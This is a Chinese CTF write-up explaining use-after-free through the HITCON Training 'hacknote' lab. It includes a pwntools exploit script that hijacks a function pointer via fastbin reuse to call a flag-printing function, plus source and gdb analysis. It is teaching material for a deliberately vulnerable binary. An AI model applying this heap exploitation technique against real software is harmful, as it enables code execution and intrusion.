UAF——use after free
本文系pwn2web原创,转载请说明出处
UAF 漏洞,英文原名use after free,该漏洞简洁的可以概括为
- 分配一块内存
- free该内存但不回收,构成悬垂指针
- 再次构造分配同样大小的内存,按照malloc分配原则将会是将第一次分配的内存给这块新的
- 对新的内存进行use
一 前言
首先我们以一道题来介绍一下UAF,这里选用hitcon training lab10 作为例子,源码太多,占篇幅,试题、源码详情请见的GitHubhttps://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab10 中的c语言文件。
这里先直接附上exp,网上大部分exp都差不多,但是有一些疑点我得说一下:
- magic函数地址咋来的
- 非预期解:创建1个note也能getshell
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
1、我看了大部分博客,都没有给出magic地址从哪来。。。给爷整懵了。。无中生magic是了。。。
俺这里有个法子弄到这个地址:

看到pdisas这个神奇的反汇编指令了咩,第一行地址就是magic的开始地址,这里我也尝试了一下下断点到magic函数,即b magic,然后你看到,这个断点是在上面汇编显示的地址的第四行,我们来看看其他的函数:add_note


所以你可以看到,gdb中的下断点一般是下在开栈的地址。
总之,最起码我们找到一个很好的方法来寻找地址对不。
2、再就是为啥子要预先创建两个note?我先附上创建一个note的exp和运行结果,下面我会细细讨论

二 分析
下面我们再来一步步分析:
按这篇文章开头的几个步骤来寻找
0x00 结构体定义如下:
struct note {
void (*printnote)();
char *content ;
};
不写入content的初始大小为16字节:

为什么是16字节,这里有个字节对齐的原因,void对应4字节,char按道理对应1字节,为什么是4字节?因为void,字节对齐,各位请谷歌自行查询。
4(PUT指针)+4(content指针)就是8,再加上8字节chunk头部,就是16字节。
0x01 首先是分配内存,整个程序具备这个功能的就是add_note:
void add_note(){
int i ;
char buf[];
int size ;
if(count > ){
puts("Full");
return ;
}
for(i = ; i < ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts("Alloca Error");
exit(-);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(,buf,);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts("Alloca Error");
exit(-);
}
printf("Content :");
read(,notelist[i]->content,size);
puts("Success !");
count++;
break;
}
}
}
1、从第9行可以得知只能创建5个note
2、之后按照notelist的结构体大小创建note,再按照输入的大小为content申请内存,总体结构正如ctf wiki上的结构图
+-----------------+
| put |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+
上一部分我们说了该大小为16字节,堆的最小处理单元为chunk,那么根据堆分配规则,为fastbin chunk。什么是fastbin?我之后博文会去介绍
0x02 释放内存,整个代码中del_note具备释放内存功能
void del_note(){
char buf[];
int idx ;
printf("Index :");
read(,buf,);
idx = atoi(buf);
if(idx < || idx >= count){
puts("Out of bound!");
_exit();
}
if(notelist[idx]){
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
也就是第12、13行,先free content,再free notelist的头。
0x03 可利用执行函数magic
void magic(){
system("cat /home/hacknote/flag");
}
0x04 利用
因为我们要把第一次分配的内存释放然后第二次分配同样大小的内存进行复用,那么可以构造利用链:
add_note()-> add_note()-> delete_note()-> delete_note()-> add_note()
换句话说,分配和释放将按照此结构进行
malloc(0x20)-> malloc(0x20)-> free(0x8)-> free(0x20)-> free(0x8)-> free(0x20)-> malloc(0x8)-> malloc(0x8)
那么我们来介绍一下这个到底是做撒子
我们利用的是fastbin回收的不合并性,我要将put函数指针指向magic函数的地址。

fastbin如上图,0x10表示16字节,0x18表示24字节,0x20表示32字节,以此类推。每次分配完释放回收后将会放在对应的大小行上。
现在我知道的有:
1、notelist 的每个初始大小为16字节,对应fastbin的第一行,即0x10
2、那么如果我们要劫持put函数执行流,那么我们就需要构造一个8字节的content,这样加上头才能变成16字节,才有可能分配到put
3、我们可控的地方只有content部分,可以控制content部分的大小和值,因此我们只能在content中输入magic函数地址的值
因此我们设想:
1、如果我们构造一个note0,content大小为32,然后,free,再者继续创建一个note1,content大小为8(为了劫持put,须与出是头部分配内存相同),但是note1的头大小也是8,那么回收note0后fastbin结构就变成
- 0x10: note0_head
- 0x18: 0x0
- 0x20: note0_content
- 。。。。。。
然后note1_head就直接分配到了note0_head ,我寻思着note1_head也有put,那么直接用就好了噻,于是我就把note1_content改为magic函数地址,然后print_note(1),也能成功。
注意:然而,使用note1的put仅仅只是将指针指向magic函数,note1_head分配到了释放的内存,但是note1_content没有分配到释放的内存,因此其未对释放后再分配的内存进行修改,是直接利用,而不是释放再利用(UAF)
3、那么创建1个虽然行,但是不能算是UAF,那就用两个咯。因为fastbin是FILO,先进后出嘛,形象一点,看下图,头是note0_head,后面接上note1_head,然后取出来的时候从尾巴开始取,就是先取note1_head
- 0x10: note1_head -> note0_head
- 0x18: 0x0
- 0x20: 0x0
- ............
我们构造两个note再释放后,fastbin如下(content的大小我设为24):
- 0x10: note1_head -> note0_head
- 0x18: note1_content -> note0_head
- 0x20: 0x0
- ...........
紧接着我们创建note2,因为note2_head也要分配0x10行的内存块嘛,所以,在note2_head分配完(取出)note1_head后,还剩下note0_head, 那么note2_content大小设置为8,就可以分配到note0_head啦
三 总结
正确的此题做题流程为:静态审计源码,构造思路,动态调试找地址,编写exp
UAF漏洞:利用内存分配的特性操作分配的已释放使用过的内存块
UAF——use after free的更多相关文章
- 各浏览器抗uaf机制
今年中旬,微软针对旗下ie浏览器中大量出现的uaf漏洞,对ie浏览器的安全机制进行了一个大幅度的升级,其中主要体现为隔离堆及延迟释放两个机制,顿时又将uaf漏洞的利用向上提升了一个大坎, 但是类似的对 ...
- UAF漏洞--iOS是越狱原理
Use After Free UAF 就是 Use After Free的缩写,是一种比较常见的内存错误式利用.很多iOS的越狱都是利用的这种方法.在此简单的举个例子说明UAF出现的情况 代码说明一切 ...
- CVE-2010-0249 IE8 UAF漏洞分析
CVE-2010-0249 [CNNVD]Microsoft Internet Explorer非法事件操作内存破坏漏洞(CNNVD-201001-153) Microsoft Internet Ex ...
- exim CVE-2017-16943 uaf漏洞分析
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这是最近爆出来的 exim 的一个 uaf 漏洞,可以进行远程代码 ...
- 见微知著(一):解析ctf中的pwn--Fast bin里的UAF
在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...
- UAF漏洞学习
产生原因: UAF漏洞的成因是一块堆内存被释放了之后又被使用.又被使用指的是:指针存在(悬垂指针被引用).这个引用的结果是不可预测的,因为不知道会发生什么.由于大多数的堆内存其实都是C++对象,所以利 ...
- vmware漏洞之四:简评USE-AFTER-SILENCE: EXPLOITING A QUIETLY PATCHED UAF IN VMWARE
转:https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-ua ...
- UAF学习之Adobe reader CVE-2013-3346
学习了UAF,分析了几个漏洞,同时,也熟悉了windbg的用法,收获挺大. 基本的UAF分析流程如下: i:找有漏洞的函数 ii:找到被释放对象的类型,以及被释放对象在内存中的位置 iii:理解对象的 ...
- pwnable.kr uaf之wp
几乎都想要放弃了,感觉学了好久还是什么都不会,这个题好像很难的样子,有很多知识点需要补充一下: 1.[UAF]分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存.攻击者可 ...
- [03] HEVD 内核漏洞之UAF
作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...
随机推荐
- win10下,cmd,power shell设置默认编码为‘UTF-8’?
这个问题可以终结了,最新版 Windows 10 支持 UTF-8 了.打开这个选项,cmd 和 powershell 默认就是 UTF-8 了.在控制面板-时钟和区域-区域-管理-更改系统区域设置( ...
- The call() and apply() Mtheods
Example 6-4function classof(o) { if (o === null) return "Null"; if (o ===undefined ...
- CF 453C. Little Pony and Summer Sun Celebration
CF 453C. Little Pony and Summer Sun Celebration 构造题. 题目大意,给定一个无向图,每个点必须被指定的奇数或者偶数次,求一条满足条件的路径(长度不超\( ...
- dotnet core 输出调试信息到 DebugView 软件
本文告诉大家如何在 dotnet core 输出调试信息到 DebugView 软件 在之前告诉小伙伴,如何在 WPF 输出调试信息到 DebugView 软件,请看文章 WPF 调试 获得追踪输出 ...
- css隐藏滚动条、移动端滚动卡顿的解决
1.如果想保持容器能够滚动,同时不想看到丑陋的滚动条,chrome.firefox和移动端上不考虑兼容性直接 element::-webkit-scrollbar{ display:none } 2. ...
- 有限状态机FSM和层次状态机HSM
前言 就单片机而言,程序可以分为两类:带操作系统的程序和前后台程序:前后台程序从架构上又分为顺序机和状态机. 广义地说, 任何一个程序都是一个状态机, 因为它总是要记住一些状态, 然后根据输入进行输出 ...
- 024.讲MFC_窗口指针
窗口指针通过HWND获得CWnd指针 //如何通过窗口句柄获得窗口指针获得应用程序主窗口的指针 //如何获得应用程序主窗口的指针一.建立名为dialogPoint的mfc工程,添加两个button 双 ...
- springboot 简单邮件发送
写作原因: 项目接近尾声,需求一变再变,其实技术点从未改变,只是业务逻辑的变更,发送邮件提醒的功能,两个月变更七次.我想把技术点记录下来,这里无关乎业务,只有发送邮件的功能. 邮件发送准备说明: 由于 ...
- selenium自动化测试入门 Alert/Confirm/Prompt 弹出窗口处理
一.Alert/Confirm/Prompt弹出窗口特征说明 Alert弹出窗口: 提示用户信息只有确认按钮,无法通过页面元素定位,不关闭窗口无法在页面上做其他操作. Confirm 弹出窗口: 有确 ...
- Redis远程连接报错解决
今天测试了一下在本机(win10系统)远程连接 centos下的redis,结果报了以下错误: Exception in thread "main" redis.clients.j ...